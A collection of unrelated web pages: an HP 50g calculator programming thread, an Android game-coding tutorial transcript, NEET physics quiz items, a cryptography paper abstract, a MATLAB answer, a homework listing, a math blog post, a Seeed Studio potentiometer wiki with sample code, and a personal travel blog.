2008 18:46:26 -0500: > > > I have a HP 50g calculator, just want to write some simple program, > > like input R, the program calculates the circle area; > > input L, H, W, then the program can calculate the surface area, etc. > > All things representable by formulas can be calculated directly > using the numeric solver (just as on the HP42S), > and you can save a set of your own equations, > then choose any one to solve (for any variable, > not just calculating one particular variable from the others); > for example, in RPN mode: > > 'A=\pi*R^2' 'CIRCA' STO > > 'A=(L*H+H*W+W*L)*2' 'BOXA' STO > > \<< "Choose formula" 9 TVARS 1 CHOOSE > * { STEQ 30 MENU } IFT \>> 'MYEQS' STO > > The 'MYEQS' program chooses any formula in the current directory, > then starts the menu-based solver (like that of the HP42S). > > You can also just start the form-based numeric solver > (Right-shift NUM.SLV "Solve Equation") > and choose an equation using the form, > rather than using a program. > > A slight expansion of the 'MYEQS' program could permit > navigating through a directory tree, > as well as picking equations from a single directory. > > Solving equations like this > will store additional variables named in the formulas, > containing numeric data; > when you no longer need to save any such variables, > you can purge them all from the current directory, > plus any left-over "current equation(s)" and solver data using: > > \<< { 0 28 } TVARS { EQ Mpar } + PURGE \>> 'PGEQ' STO > > Numeric values with attached "units" (e.g. 3.2_cm) > may be included in this "clean-up" > by expanding the list of object types to { 0 13 28 } > > All of the above works in all HP48G/49G/50G series. > > [r->] [OFF] what's these ' \ ' slashes in the codes mean ? I cna't find in the 50G user guide. example: \<< "Choose formula" 9 TVARS 1 CHOOSE { STEQ 30 MENU } IFT \>> 'MYEQS' STO \<< { 0 28 } TVARS { EQ Mpar } + PURGE \>> 'PGEQ' STO 16. ## Re: HP 50g simple programming Trigraphs represent calculator special characters wrote in message what's these ' \ ' slashes in the codes mean ? I cna't find in the 50G user guide. example: \<< "Choose formula" 9 TVARS 1 CHOOSE { STEQ 30 MENU } IFT \>> 'MYEQS' STO \<< { 0 28 } TVARS { EQ Mpar } + PURGE \>> 'PGEQ' STO 17. ## Re: HP 50g simple programming In article kxbao@hotmail.com wrote: > what's these ' \ ' slashes in the codes mean ? I cna't find in the 50G > user guide. > example: > > \<< "Choose formula" 9 TVARS 1 CHOOSE > { STEQ 30 MENU } IFT \>> 'MYEQS' STO > > \<< { 0 28 } TVARS { EQ Mpar } + PURGE \>> 'PGEQ' STO They mark that what follows represents a special character which does not appear in the ASCII alphabet. "\<<" and "\>>" represent the symbols which look like "<<" and ">>" on the hp50, and mark the beginning end ending of a program. 18. ## Re: HP 50g simple programming [backslashes] On Sun, 02 Nov 2008 20:34:43 -0600: > what's these '\' backslashes [e.g. \<< \>> ] in the codes mean? > I can't find in the 50G user guide. To represent 8-bit characters which have no universal symbols, so as to appear the same to everyone using all text editors, browsers, newsgroup readers, email, and to the calculator itself (when using Kermit or other text file transfer software), as well as being able to type the programs on all computer keyboards. Complete explanation and chart at: Import/export programs for emulators such as Emu48: [r->] [OFF] 19. ## Re: HP 50g simple programming [backslashes] > Import/export programs for emulators such as Emu48: The above also imports and exports between calculators and plain text files on SD cards (which in turn may be stored or edited using computers). [r->] [OFF] 20. ## Re: HP 50g simple programming [backslashes] On Nov 3, 1:39 pm, "John H Meyers" wrote: > > Import/export programs for emulators such as Emu48: > > The above also imports and exports > between calculators and plain text files on SD cards > (which in turn may be stored or edited using computers). > > [r->] [OFF] On 50g user's guide page 679: "Units coefficient" { { "S.I. units" 1} { "E.S. units" 1.486} } 1 CHOOSE >> --->„³ save to 'CHP1' Running this program, system will highlight choose box 'S.I Units' (1st choice) If I select 'S.I. Units' result is s2 1 S1 1 If I select 'E.S. Units' result is s2 1.486 S1 1 I made a small change in this program, "Units coefficient" { { "S.I. units" 1} { "E.S. units" 1.486} } 2 CHOOSE >> --->„³ save to 'CHP1' Running this program, system will highlight choose box 'E.S Units' (2nd choice) If I select 'S.I. Units' result is s2 1 S1 1 If I select 'E.S. Units' result is s2 1.486 S1 1 It seems to me : the corresponding coefficient of the system unit selected is put on stack 2 (s2) But why in the two examples, the stack 1 (s1) always show number '1' , this confuse me..???
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We use cookies to give you a better experience, if that’s ok you can close this message and carry on browsing. For more info read our cookies policy. 3.5 ## Begin Programming Skip to 0 minutes and 11 secondsI hope that you managed to implement the code so that the ball now stays on the screen and doesn't leave the screen in the top and the bottom. You can see my code here. This is how I have implemented it. So if you didn't-- you can look at it and see how I managed to do it. Also, notice that I've now added comments to the lines. I won't be doing that in the videos because I want you to write the comments yourself. It's a good way of finding out if you understand the lines. So when I have added the lines, do that yourself in your own code. And then see if you can explain it using normal words. Skip to 1 minute and 1 secondAnd then next week, you'll be able to see if the comments are the same as mine, or matches what I have written in the next week's code. OK, let's add some more functionality. Let's get the paddle in, the ball in the bottom of the screen that can move, and which will be able to control so that we keep the little white in play. And yeah, let's do that. It's actually not that difficult to get it on the screen so that we can move it. Because we actually got most of the code from last week when we had the small ball that we could control on the screen. So we kind of have to copy what we have then. Skip to 1 minute and 48 secondsSo first of all, we know that we need to have what's called a private bitmap. And let's call it mPaddle. I like the word paddle for this. So let's do that. And then we also need a float, a float in the x direction. We don't need the y direction because this will never go up and down. This will only go from side to side. And I'll just initialise that with 0. That's actually all the data that we need for this path. Obviously, we need to set it up as well. I say obviously. You might not know this, but in this method, this is the very first thing that is run when the code starts running. Skip to 2 minutes and 39 secondsWe'll need to set up the paddle like we set up the ball. And because I hate typing-- well, I don't hate typing. I hate typing more than necessary-- I'll just copy and paste it. OK. So in here, now I've actually said that the paddle will be a small, red ball. Yes, it's called a small, red ball because at the beginning of my code, it was actually a red ball. But we found out that red and green as a background is not really nice to people with colour blindness. So I changed the colour from red to white. But it's still called a small, red ball. That's actually a little bit naughty of me. OK. Skip to 3 minutes and 16 secondsIf we remove the small, red ball here and just take the dot away and say dot, we'll see the different types of resources that I've added to the game. And here we'll need a yellow ball. It's the big yellow ball that we're going to use. So now we have a paddle which will be a yellow ball. We just haven't added it to the screen. And we're not drawing it to the screen. So let's go to the set up here, and let's set up the position of the mPaddle. So if we say mPaddle x, let's have it in the middle of the screen. So we'll have the mCanvas, and it's in the x. So it would be the mCanvasWidth. Skip to 4 minutes and 7 secondsAnd to be in the middle, it needs to be divided by 2. Good. So now we have the data set up for the paddle at the beginning of the game. Next thing we need is to then draw it. And we know how to draw because we have this line here what's drawing the ball. So this will be similar. We just need to have the canvas and draw. It helps if I could write. Draw bitmap. And then the mPaddle. Skip to 4 minutes and 45 secondsAnd we need to draw it in the mPaddle x. And this time we need to minus it with the mPaddles-- width. Get width here. Divided by 2. And then the y is different. Because here we actually don't need to put it in an M, mBall y and Paddle y. We need to just put it at the bottom of the screen, which will be mCanvasHeight. Skip to 5 minutes and 24 secondsThen we need to remember that we need the height as well, of the ball. We need to still have the mPaddle's height divided by 2, because we still have the problem with the top left corner. We want it to be the middle of the image. So mPaddle get height divided by 2. And then the null, I actually don't know what that is. So before-- oh, it's if we wanted to put a paint. That's something that we don't want here. We just want the image. Good. Skip to 6 minutes and 2 secondsThat would draw it. Now it will be static, because we have the mPaddle x. It will never change. But we want it to change. So here, what we want to do is to actually just set it. When we're touching the screen, we want the mPaddle to change to one of the x's because that's where the user clicked on the screen. So that will sort that out. And then we also want the code to change when the phone is moving. Remember, we had code similar to this for changing the little ball. So we should get something like that as well, but for the paddle. So let's add PaddleSpeed x and mPaddle speed x. Skip to 6 minutes and 56 secondsNow the problem here, of course, is that we don't have a paddle speed x. So let's add that up here. Skip to 7 minutes and 8 secondsAnd let's set it to 0. And when we set up the beginning, we would also want that to be 0, because we don't want the ball to start out moving. It should be still when we start the game. Now we're changing it no matter what when the phone has moved. But of course we know that there will be issues with moving outside of the screen. And we don't want that. So we need some if statements here. Let's say that if mPaddle x is less than 0, that then we don't want the paddle to move at all. Then we just set the mPaddle speed x, to 0. So we overwrite the change in direction if it's lower than 0. Skip to 8 minutes and 11 secondsAnd likewise, if the mPaddle x is higher than the mCanvasWidth, then we also want to overwrite the setting. So let's do that. So then the mPaddle speed is equal to 0. Excellent. Now, from the game code, when we had the game code in the first week, there we also changed the mBall x and y depending on the speed. We see it here. And obviously, we'll also need similar code for the mPaddle. So mPaddle x equals mPaddle x. And then plus the seconds elapsed times the mPaddleSpeed x. Skip to 9 minutes and 30 secondsIf you have the opportunity, try to see how that works in a device. And you'll probably see that it doesn't work because there's still an issue here. Now, it actually relates to that wobbly issue that we had in the image. Now we have the opportunity or possibility of actually stepping outside of the screen. So we get a situation where the mPaddle x goes outside, over the edge, so to speak. It goes into 0. So it becomes a negative or gets higher than the mCanvasWidth, and that's a problem. Because if it is that, mPaddle x will always be 0. Skip to 10 minutes and 15 secondsSo what we need to do up here is ensure that the mPaddle x will never be lower than 0 and will never be higher than the mCanvasWidth. So we'll need to add that to the statements. So not only do we set the mPaddleSpeed x to 0, we also want the mPaddle x-- I was a little bit too fast on the trigger there-- mPaddle x to become 0 here as well. And in this one, let's add that if the mPaddleSpeed is 0 here and is higher than the canvas, then we also want the mPaddle x here to become the mCanvasWidth. Skip to 11 minutes and 14 secondsAnd this did work, but if you look at it closely you'll see that the little ball, the paddle, is wobbling a little bit. And we therefore, we could actually add a test to see if the mPaddleSpeed is also negative. Then we want to do this. And here if the mPaddleSpeed is positive, well, then we want to do it. Because we actually only want to ensure that the ball is travelling outside of the screen, similar to the wobbling problem that we had earlier. Let's test that. Hmm. Still not working. I wonder what that could be. Oh, maybe this is the problem. Yes, that is the problem. Because we will still be bouncing at 0 and change the mPaddleSpeed. Skip to 12 minutes and 20 secondsSo we would still be looking. You see, this is actually showing how difficult sometimes it is to do these if statements. Let's test this to see if that works. Skip to 12 minutes and 37 secondsAnd this indeed works, so yeah. Sorry, guys, if you don't have a device. This is actually quite an interesting situation. But this, this will actually make the mPaddle go to the end, check if it gets over, and only change the mPaddleSpeed if it does go over and get the paddle inside the screen again. # Adding conditional statements to the game (Part 1) In this video you’ll find out how to add conditional statements to your game code, and to use if statements to add more complex functionality to the game. There is a guide to complement the video, which you can find at the bottom of this Step. You may find it useful to keep this guide open while you are working on the program code.
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https://www.neetprep.com/question/71833-graph-represent-variation-mean-kinetic-energy-molecules-withtemperature-tC-/55-Physics--Kinetic-Theory-Gases/688-Kinetic-Theory-Gases
The graph which represent the variation of mean kinetic energy of molecules with temperature t°C is 1. 2. 3. 4. High Yielding Test Series + Question Bank - NEET 2020 Difficulty Level: The adjoining figure shows graph of pressure and volume of a gas at two temperatures ${\mathrm{T}}_{1}$ and ${\mathrm{T}}_{2}$. Which of the following interferences is correct 1.  ${\mathrm{T}}_{1}>{\mathrm{T}}_{2}$ 2. ${\mathrm{T}}_{1}={\mathrm{T}}_{2}$ 3. ${\mathrm{T}}_{1}<{\mathrm{T}}_{2}$ 4. No interference can be drawn High Yielding Test Series + Question Bank - NEET 2020 Difficulty Level: The expansion of until mass of a perfect gas at constant pressure is shown in the diagram. Here 1. a = volume, b = $°\mathrm{C}$ temperature 2. a = volume, b = $\mathrm{K}$ temperature 3. a = $°\mathrm{C}$ temperature, b = volume 4. a = $\mathrm{K}$ temperature, b = volume High Yielding Test Series + Question Bank - NEET 2020 Difficulty Level: An ideal gas is initially at temperature T and volume V. Its volume is increased by $∆\mathrm{V}$ due to an increase in temperature $∆\mathrm{T}$, pressure remaining constant. The quantity $\mathrm{\delta }=∆\mathrm{V}/\left(\mathrm{V}∆\mathrm{T}\right)$ varies with temperature as 1. 2. 3. 4. High Yielding Test Series + Question Bank - NEET 2020 Difficulty Level: Pressure versus temperature graph of an ideal gas of equal number of moles of different volumes are plotted as shown in figure. Choose the correct alternative 1. 2. 3. 4. High Yielding Test Series + Question Bank - NEET 2020 Difficulty Level: Pressure versus temperature graph of an ideal gas is as shown in figure. Density of the gas at point A is ${\mathrm{\rho }}_{0}$ . Density at B will be 1.  $\frac{3}{4}{\mathrm{\rho }}_{0}$ 2.  $\frac{3}{2}{\mathrm{\rho }}_{0}$ 3.  $\frac{4}{3}{\mathrm{\rho }}_{0}$ 4. High Yielding Test Series + Question Bank - NEET 2020 Difficulty Level: The figure shows graphs of pressure versus density for an ideal gas at two temperatures ${\mathrm{T}}_{1}$ and ${\mathrm{T}}_{2}$ 1. ${\mathrm{T}}_{1}>{\mathrm{T}}_{2}$ 2. ${\mathrm{T}}_{1}={\mathrm{T}}_{2}$ 3. ${\mathrm{T}}_{1}<{\mathrm{T}}_{2}$ 4. Nothing can be predicted High Yielding Test Series + Question Bank - NEET 2020 Difficulty Level: Graph of specific heat at constant volume for a monoatomic gas is 1. 2. 3. 4. High Yielding Test Series + Question Bank - NEET 2020 Difficulty Level: A fix amount of nitrogen gas (1 mole) is taken and is subjected to pressure and temperature variation. The experiment is performed at high pressure as well as high temperatures. The results obtained are shown in the figures. The correct variation of PV/RT with P will be exhibited by 1.  4 2.  3 3.  2 4.  1 High Yielding Test Series + Question Bank - NEET 2020 Difficulty Level: A pressure P - absolute temperature T diagram was obtained when a given mass of gas was heated. During the heating process from the state 1 to state 2 the volume 1. Remained constant 2. Decreased 3. Increased 4. Changed erratically
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https://iacr.org/cryptodb/data/paper.php?pubkey=32119
## CryptoDB ### Paper: (Nondeterministic) Hardness vs. Non-Malleability Authors: Marshall Ball , New York University Dana Dachman-Soled , University of Maryland Julian Loss , CISPA Search ePrint Search Google Slides CRYPTO 2022 We present the first truly explicit constructions of \emph{non-malleable codes} against tampering by bounded polynomial size circuits. These objects imply unproven circuit lower bounds and our construction is secure provided $\Eclass$ requires exponential size nondeterministic circuits, an assumption from the derandomization literature. Prior works on NMC for polysize circuits, either required an untamperable CRS [Cheraghchi, Guruswami ITCS'14; Faust, Mukherjee, Venturi, Wichs EUROCRYPT'14] or very strong cryptographic assumptions [Ball, Dachman-Soled, Kulkarni, Lin, Malkin EUROCRYPT'18; Dachman-Soled, Komargodski, Pass CRYPTO'21]. Both of works in the latter category only achieve non-malleability with respect to efficient distinguishers and, more importantly, utilize cryptographic objects for which no provably secure instantiations are known outside the random oracle model. In this sense, none of the prior yields fully explicit codes from non-heuristic assumptions. Our assumption is not known to imply the existence of one-way functions, which suggests that cryptography is unnecessary for non-malleability against this class. Technically, security is shown by \emph{non-deterministically} reducing polynomial size tampering to split-state tampering. The technique is general enough that it allows us to to construct the first \emph{seedless non-malleable extractors} [Cheraghchi, Guruswami TCC'14] for sources sampled by polynomial size circuits [Trevisan, Vadhan FOCS'00] (resp.~recognized by polynomial size circuits [Shaltiel CC'11]) and tampered by polynomial size circuits. Our construction is secure assuming $\Eclass$ requires exponential size $\Sigma_4$-circuits (resp. $\Sigma_3$-circuits), this assumption is the state-of-the-art for extracting randomness from such sources (without non-malleability). Several additional results are included in the full version of this paper [Eprint 2022/070]. First, we observe that non-malleable codes and non-malleable secret sharing [Goyal, Kumar STOC'18] are essentially equivalent with respect to polynomial size tampering. In more detail, assuming $\Eclass$ is hard for exponential size nondeterministic circuits, any efficient secret sharing scheme can be made non-malleable against polynomial size circuit tampering. Second, we observe that the fact that our constructions only achieve inverse polynomial (statistical) security is inherent. Extending a result from [Applebaum, Artemenko, Shaltiel, Yang CC'16] we show it is impossible to do better using black-box reductions. However, we extend the notion of relative error from [Applebaum, Artemenko, Shaltiel, Yang CC'16] to non-malleable extractors and show that they can be constructed from similar assumptions. Third, we observe that relative-error non-malleable extractors can be utilized to render a broad class of cryptographic primitives tamper and leakage resilient, while preserving negligible security guarantees. ##### BibTeX @inproceedings{crypto-2022-32119, title={(Nondeterministic) Hardness vs. Non-Malleability}, publisher={Springer-Verlag}, author={Marshall Ball and Dana Dachman-Soled and Julian Loss}, year=2022 }
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https://itectec.com/matlab/matlab-creating-a-matrix-from-a-vector/
# MATLAB: Creating a matrix from a vector matricesvectors I have a vector v2=linspace(-30,10,100) I want to create a matrix M1 that has three columns, each of which is v2 and another matrix M2 that has three rows, each of which is the transpose of v2. I am lost on how to solve this problem. Please help. #### Best Answer • v2=linspace(-30,10,100) % This iis a ROW vector not columnM1 = [v2.', v2.', v2.']M2 = [v2; v2; v2]
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https://tailieu.vn/doc/sources-of-health-insurance-and-characteristics-of-the-uninsured-analysis-of-the-march-2008-current-1299331.html
# Sources of Health Insurance and Characteristics of the Uninsured: Analysis of the March 2008 Current Population Survey Chia sẻ: D D | Ngày: | Loại File: PDF | Số trang:36 55 lượt xem 4
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https://studydaddy.com/question/acc-290-week-5-comparing-ifrs-to-gaap-paper
# ACC 290 Week 5 Comparing IFRS to GAAP Paper Write a 700- to 1,050-word summary of your team's discussion regarding IFRS versus. GAAP. The summary should be structured in a subject-by-subject format. Include an introduction and a conclusion. Your discussion should include the answers to the following: IFRS 2-1: In what ways does the format of a statement of financial or position under IFRS often differ from a balance sheet presented under GAAP? IFRS 2-2: Do the IFRS and GAAP conceptual frameworks differ in terms of the objective of financial reporting? Explain. IFRS 2-3: What terms commonly used under IFRS are synonymous with common stock and balance sheet? IFRS 3-1: Describe some of the issues the SEC must consider in deciding whether the United States should adopt IFRS. IFRS 4-1: Compare and contrast the rules regarding revenue recognition under IFRS versus GAAP. IFRS 4-2: Under IFRS, do the definitions of revenues and expenses include gains and losses? Explain. IFRS 7-1: Some people argue that the internal control requirements of the Sarbanes-Oxley Act (SOX) of 2002 put U.S. companies at a competitive disadvantage to companies outside the United States. Discuss the competitive implications (both pros and cons) of SOX. Format your paper consistent with APA guidelines. Use your Financial Accounting text and at least two additional scholarly-reviewed references. Click the Assignment Files tab to submit your assignment. • math_stat_queen 56 orders completed $25.00 ANSWER Tutor has posted answer for$25.00. See answer's preview *** *** **** * ********* IFRS ** **** ****** *** *** Week 5 Comparing **** ** GAAP Paper ACC *** **** 5 ********* **** ** GAAP *****
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http://eugenio.blogs.mathdir.org/?download=1
### Research Interests Main Research Interests · Partial Differential Equations [pubs] · Nonlinear Control Theory [pubs] · Educational Software [pubs] Other Current Interests [pubs] · Epidemiology of HIV/Tuberculosis [pubs] · Firms Economical Efficiency · Dynamic Logics and Hybrid Systems · Underwater AUVs Navigation · Water Levels Statistics and Prediction Other Scientific Interests [pubs] · Raman Propagation Equations in Fiber Optics · Retinal Eye Structures and Lesions · Mathematical Knowledge and Preservation · Graph Th with Apps to Automobile Industry · Integral Equations with General Delay · Nanoscience and Nanotechnology I’M SORRY Information is out-of-date… I’m now updating it slowly. [11 Oct 2015 | One Comment] Motivated by the (renormalization) of some classical divergent series in String Theory, e.g. (see here), I start thinking on the convergence meaning of a class of divergent series, trying to make sense of them without following some of the (standard) approaches as Hardy resummation or Zeta function regularization (e.g. wikipedia). The main idea was to see if it is possible to define a class of sequences and a equivalence operation, by aggregating terms, such that their “value” is determined by some constant sequence in the same equivalent class. In the comments of this post, you see the precise notions and a preliminary result, which is quite open for discussion… First comment: NOTATION. I use to denote a tupple (e.g. a 2-tupple), of real numbers, since means a set (i.e. no order and no element repetition) and is an open interval. We will also consider tupples of functions. The size of a tupple is denoted by . Any sequence (an infinite-tupple) can be extended by zeros on the left, so it is infinite in the two directions. Therefore the index of a sequence is an element of , where the first element of a sequence is denoted by . Moreover, since for all , the relevant set of indices is . For , we denote by the integers that are congruent to , i.e. the set . Let , , and . Define the conditional function as (1) which, for convenience, we just write as DEFINITION. A regular aggregation sequence (r.a.s.) is a sequence such that exist fixed tupples and , with , and , such that (2) We call the pair a realization of u, which is not unique for each sequence u. The set of all r.a.s. is denoted by . DEFINITION. The aggregation operation , with and , is the map such that, LEMMA. For and , the map has the following properties: (1) It is well-defined, i.e. . (2) We have where , , and is a bijection. (3) Fix and define by The function is an homomorphism. (4) Let , and , then where . (5) We have . Moreover, if is a decomposition into prime numbers, then See the full content in this Mathdir topic.
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http://wiki.seeedstudio.com/Grove-Slide_Potentiometer/
edit # Grove - Slide Potentiometer The Grove - Slide Potentiometer module incorporates a linear variable resistor with a maximum resistance of 10KΩ. When you move the slider from one side to the other, its output voltage will range from 0 V to the Vcc you apply. It connects to the other Grove modules through a standard 4-Pin Grove Cable. Three of the pins are connected to OUT (Pin 1), Vcc (Pin 3) and GND (Pin 4), while the fourth pin (Pin 2) is connected to a on-board green indicator LED. The LED is used to visually represent the resistance change on the potentiometer. ## Features¶ • 30 mm long slide length • Linear resistance taper • Grove compatible Tip ## Application Ideas¶ Here are some projects for your reference. Arduino BoomBox Arduino BeatBox Make it NOW! Make it NOW! ## Specifications¶ Item Min Typical Max Voltage (DC) 3.3V 5.0V 30V Current - - 30mA Dimension 24mm x60mm Net Weight 8.6g Rotational life >15,000 cycles Total resistance 10KΩ Stroke length 30mm Total resistance tolerance +/- 20% ## Platforms Supported¶ Arduino Raspberry Pi BeagleBone Wio LinkIt ONE Caution The platforms mentioned above as supported is/are an indication of the module's software or theoritical compatibility. We only provide software library or code examples for Arduino platform in most cases. It is not possible to provide software library / demo code for all possible MCU platforms. Hence, users have to write their own software library. ## Getting Started¶ As shown below, the Grove - Slide Potentiometer can be used as a simple slide potentiometer in any MCU controlled or stand-alone project. ### Standalone¶ Follow these steps to build a sample Grove circuit using this module but without using any microcontroller board: 1. Connect the slide potentiometer module to the input side of your circuit (to the left of the power module). On the output side of the circuit, you may use a range of User Interface modules (Grove - Red LED, Grove - LED String Light, Grove - Mini Fan, Grove - Buzzer, Grove - Recorder etc.) 2. Power up the circuit when complete. 3. The slide potentiometer module can now be used to trigger an output. For example: • When used in conjunction with a Grove - Red LED output module, observe that the brightness of the LED increases as you move the slider from GND to Vcc. At Vcc, the resistance of the potentiometer is minimum and the LED burns the brightest. The same behavior can be seen when the slide potentiometer is used with the Grove - LED String Light module - the more voltage you apply by taking the slider towards the Vcc mark, the brighter the LED lights would become. • Similarly, you can use the slide potentiometer to vary the speed of your Grove - Mini Fan or the frequency with which your Grove - Buzzer module sounds • The slide potentiometer can also be used as an ON/OFF switch for any circuit. Take the slider to the Vcc position to switch it ON and move it down to GND to switch OFF a circuit. In terms of choosing a power module, you can use either the Grove - USB Power module or the Grove - DC Jack Power module for building standalone Grove circuits. ### With Arduino¶ #### As a Voltage Divider¶ Follow these simple steps to make the slide potentiometer module function as a voltage divider: 1.When using the module in conjunction with an Arduino or a Seeeduino, use the Grove - Base Shield and connect the Grove - Slide Potentiometer module to the shield using a designated Grove Interface (e.g. Analog Port 0 as shown below). 2.Connect the board to PC using USB cable. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int adcPin = A0; // select the input pin for the potentiometer int ledPin = A1; // select the pin for the LED int adcIn = 0; // variable to store the value coming from the sensor void setup() { Serial.begin(9600); // init serial to 9600b/s pinMode(ledPin, OUTPUT); // set ledPin to OUTPUT Serial.println("Sliding Potentiometer Test Code!!"); } void loop() { // read the value from the sensor: adcIn = analogRead(adcPin); if(adcIn >= 500) digitalWrite(ledPin,HIGH); // if adc in > 500, led light else digitalWrite(ledPin, LOW); Serial.println(adcIn); delay(100); } 4.Open the serial monitor. You should see some data from ADC. 5.Move the lever back and forth. The serial data will change correspondingly. When the output resistance exceeds a certain preset value, the on-board indicator LED will also light up. #### As an HID Device¶ Slide Potentiometer can be an effective Human Interface Device (HID) and can be used, for example, in the radio controller of a Radio Controlled toy car. The picture below shows two Slide Potentiometers on the control panel - one to control the speed of the left wheel, and the other to control the speed of the right wheel of the toy car respectively. Now you can change the speeds of both motors and see the behavior. You will see that if you make the right wheel spin faster than the left wheel, the car will turn rightwards, and if you make the left wheel spin faster than the right wheel, the car will turn leftwards. ### Play with Codecraft¶ #### Hardware¶ Step 1. Connect a Grove - Slide Potentiometer to port A0 of a Base Shield. Step 2. Plug the Base Shield to your Seeeduino/Arduino. #### Software¶ Step 1. Open Codecraft, add Arduino support, and drag a main procedure to working area. Note Success When the code finishes uploaded, slide the Slide Potentiometer, you will see sensor value displayed in the Serial Monitor. And if you slide excceed half of Potentiometer, the LED on it will goes on. ### Play With Raspberry Pi (With Grove Base Hat for Raspberry Pi)¶ #### Hardware¶ • Step 1. Things used in this project: Raspberry pi Grove Base Hat for RasPi Grove - Slide Potentiometer Get ONE Now Get ONE Now Get ONE Now • Step 2. Plug the Grove Base Hat into Raspberry. • Step 3. Connect the Slide Potentiometer to A0 port of the Base Hat. • Step 4. Connect the Raspberry Pi to PC through USB cable. Note For step 3 you are able to connect the slide potentiometer to any Analog Port but make sure you change the command with the corresponding port number. #### Software¶ • Step 1. Follow Setting Software to configure the development environment. • Step 2. Download the source file by cloning the grove.py library. 1 2 cd ~ git clone https://github.com/Seeed-Studio/grove.py • Step 3. Excute below commands to run the code. 1 2 cd grove.py/grove python grove_slide_potentiometer.py 0 Following is the grove_slide_potentiometer.py code. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import math import sys import time from grove.adc import ADC class GroveSlidePotentiometer(ADC): def __init__(self, channel): self.channel = channel self.adc = ADC() @property def value(self): return self.adc.read(self.channel) Grove = GroveSlidePotentiometer def main(): if len(sys.argv) < 2: print('Usage: {} adc_channel'.format(sys.argv[0])) sys.exit(1) sensor = GroveSlidePotentiometer(int(sys.argv[1])) while True: print('Slide potentiometer value: {}'.format(sensor.value)) time.sleep(.2) if __name__ == '__main__': main() Success If everything goes well, you will be able to see the following result 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pi@raspberrypi:~/grove.py/grove \$ python grove_slide_potentiometer.py 0 Slide potentiometer value: 987 Slide potentiometer value: 988 Slide potentiometer value: 986 Slide potentiometer value: 8 Slide potentiometer value: 2 Slide potentiometer value: 0 Slide potentiometer value: 1 Slide potentiometer value: 0 Slide potentiometer value: 24 Slide potentiometer value: 0 Slide potentiometer value: 0 Slide potentiometer value: 11 Slide potentiometer value: 995 Slide potentiometer value: 999 Slide potentiometer value: 999 ^CTraceback (most recent call last): File "grove_slide_potentiometer.py", line 66, in main() File "grove_slide_potentiometer.py", line 62, in main time.sleep(.2) KeyboardInterrupt You can quit this program by simply press Ctrl+C. Notice You may have noticed that for the analog port, the silkscreen pin number is something like A0, A1, however in the command we use parameter 0 and 1, just the same as digital port. So please make sure you plug the module into the correct port, otherwise there may be pin conflicts. ### Play With Raspberry Pi (with GrovePi_Plus)¶ 1.You should have got a raspberry pi and a grovepi or grovepi+. 2.You should have completed configuring the development enviroment, otherwise follow here. 3.Connection • Plug the sensor to grovepi socket A0 by using a grove cable. 4.Navigate to the demos' directory: 1 cd yourpath/GrovePi/Software/Python/ • To see the code 1 nano grove_slide_potentiometer.py # "Ctrl+x" to exit # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import time import grovepi # Connect the Grove Slide Potentiometer to analog port A0 # OUT,LED,VCC,GND slide = 0 # pin 1 (yellow wire) # The device has an onboard LED accessible as pin 2 on port A0 # OUT,LED,VCC,GND led = 1 # pin 2 (white wire) grovepi.pinMode(slide,"INPUT") grovepi.pinMode(led,"OUTPUT") time.sleep(1) while True: try: # Read sensor value from potentiometer sensor_value = grovepi.analogRead(slide) # Illuminate onboard LED if sensor_value > 500: grovepi.digitalWrite(led,1) else: grovepi.digitalWrite(led,0) print "sensor_value =", sensor_value except IOError: print "Error" 5.Run the demo. 1 sudo python grove_slide_potentiometer.py ## Projects¶ Raspberry pi music server: A first step to Raspberry Pi project ## Tech Support¶ Please submit any technical issue into our forum.
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http://lanseybrothers.blogspot.com/2010/03/
## Sunday, March 28, 2010 ### Overly specific quebec signs 1/2 In northern highways in Quebec they have periodic crossings of all sorts. The images on the warning signs are often extremely specific. For example the sign below, warns that logging trucks will be entering the road for the next 10 km. This is what they actually look like in real life, the cartoon is surprisingly accurate. They were also really good about giving information about the road - like when the next gas station is (251 km away). or when the paved road turns into a gravel road (here at the manic 5 dam). They also are kind enough to let you know that if a siren sounds near this dam you should probably find higher ground because the dam is presumably bursting . . . I suppose. Next week I will post about the specific animal crossing signs from the deer family. and Happy Pesach everyone. ## Thursday, March 25, 2010 ### Mysterious Orange Reaction I made a recipe recently which called for dried ground orange peel. Rather than buy some, we dried some orange peels and I ran 'em through the spice grinder. I ground more than we needed, and we are out of glass spice jars, so we put the ground peel in a disposable plastic container (like the ones that come with salad dressing at some restaurants). The following day, Stacy noticed that the container melted: The bottom of the cup actually "melted;" it got stuck to the top of the spice rack.  It wasn't due to heat, I don't think. The plastic kind of went mushy and soft; the bits melted on to the top of the rack could be wiped off! Here's a shot of the bottom of the thing after we peeled it off: It was so soft, you could mush in the sides: I honestly have no idea what caused this, but if anyone has ideas, I'd love to hear 'em! ## Sunday, March 21, 2010 ### Spring break at the Manicouagan Reservoir Two weeks ago I introduced everyone to the manicouagan reservoir crater from outer space. Now I will show you what it looked like up close last week. A small herd of Caribou stroll along the lake surface, purportedly frozen 6 feet down. There is the Manic-5 Dam, it is the worlds largest multiple arch and buttress dam (214 m tall and 1.3 km long), its hard to get a sense of scale from the photo. There is one road that goes past it, Rt 389. It is an amazing road, well isolated from civilization but surprisingly well traveled even in winter. The road goes 561 km without a single city or town and only 3 gas stations. We did make it to Labrador city in the end. Labrador city is just past the 52 Parallel. ## Thursday, March 18, 2010 ### Marshak Elevator Update So, the same remarkably clever person/group behind the hilarious signs on the out-of-service Marshak elevators [see here] have struck again.  This time, with a large sign, duplicated on this websitehttp://marshakelevators.com/404/ I've taken a screenshot of the 404 in case they take down that site, but in the meantime, check it out there, and be sure to click on those links! From the comments on that site, it's unclear who exactly is behind the signs.  Maybe CCNY's administration is funnier than people have given them credit for. ## Sunday, March 14, 2010 ### The system is down We've been weathering quite a crazy storm the last few days.  We haven't had phone or internet since Friday (they got it back up this morning).  Our sump pump has been working overtime. But two people were killed in Teaneck yesterday evening, hit by a falling tree.  Much of Teaneck is without electricity, without water, without heat.  Last night they declared a "State of Emergency" here and asked residents to stay inside.  It's pretty crazy. I've been listening to the Teaneck Police/Fire/EMS radio feed [here]. Things are relatively calm at this point, but it's frightening to hear the fire department send out a call with the warning that there might not be water pressure when they get there.  Or the tons of calls about trees on leaning on 